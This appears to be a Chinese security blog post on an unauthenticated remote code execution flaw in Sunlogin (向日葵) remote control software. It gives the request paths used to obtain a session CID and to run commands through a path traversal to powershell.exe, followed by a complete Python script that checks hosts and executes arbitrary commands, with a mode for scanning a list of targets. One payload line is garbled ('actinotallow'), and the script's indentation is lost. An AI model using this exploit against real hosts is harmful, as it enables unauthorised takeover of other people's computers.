漏洞信息

向日葵是一款免费的,集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件。向日葵远程控制软件存在未授权访问漏洞,启动服务端软件后,会开放未授权访问端口,攻击者可通过未授权访问使用关键payload:/cgi-bin/rpc?action=verify-haras无需密码直接获取session,并使用关键payload:/check?cmd=远程执行任意代码。

1、获取session的CID

  • 端口扫描后,使用关键payload:访问ip+端口号+cgi-bin/rpc?actinotallow=verify-haras尝试访问所有开放端口获取session值CID

  • 找到向日葵客户端pid,根据pid查找开放端口,通过网上的经验贴就省去了对端口的排查
    是TCP连接并且端口开放在0.0.0.0

2、使用关键payload:/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ whoami​远程执行任意代码

截图

获取session的CID
获取session的CID
远程执行任意代码回显证明
远程执行任意代码回显证明

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import json
import argparse
import socket

def get_cid(url, port):
vul_url = url + ':' + port + '/cgi-bin/rpc?action=verify-haras'
r = requests.get(url=vul_url)
if r.status_code == 200 and "verify_string" in r.text:
cid = json.loads(r.text).get('verify_string')
return cid

def poc(url, port):
cid = get_cid(url, port)
headers = {
'Cookie': "{}".format("CID=" + cid)
}
vul_url = url + ':' + port + '/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+echo+sxq111'
r = requests.get(url=vul_url, headers=headers)
if 'sxq111' in r.text:
print('{}'.format("[!]"+url+':'+port+"存在向日葵rce漏洞\n"))
return True
else:
print('{}'.format("[-]"+url+':'+port+"不存在向日葵rce漏洞\n"))
return False

def rce(url, port, cmd):
if poc(url, port):
cid = get_cid(url, port)
headers = {
'Cookie': "{}".format("CID=" + cid)
}
vul_url = url + ':' + port + '/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+' + cmd
r = requests.get(url=vul_url, headers=headers)
print(r.text)


if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-u', type=str)
parser.add_argument('-p', type=str)
parser.add_argument('-c', type=str)
parser.add_argument('-l', type=argparse.FileType('r'))
args = parser.parse_args()
if args.u is not None and args.p is not None and args.c is None:
poc(args.u, args.p)
elif args.u is not None and args.p is not None and args.c is not None:
rce(args.u, args.p, args.c)
elif args.l is not None:
with args.l as file:
target = file.readline()
url = target.split(':')[0]
port = target.split(':')[1]
poc(url, port)

参考链接


本站由 MY 使用 Stellar 1.33.1 主题创建。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。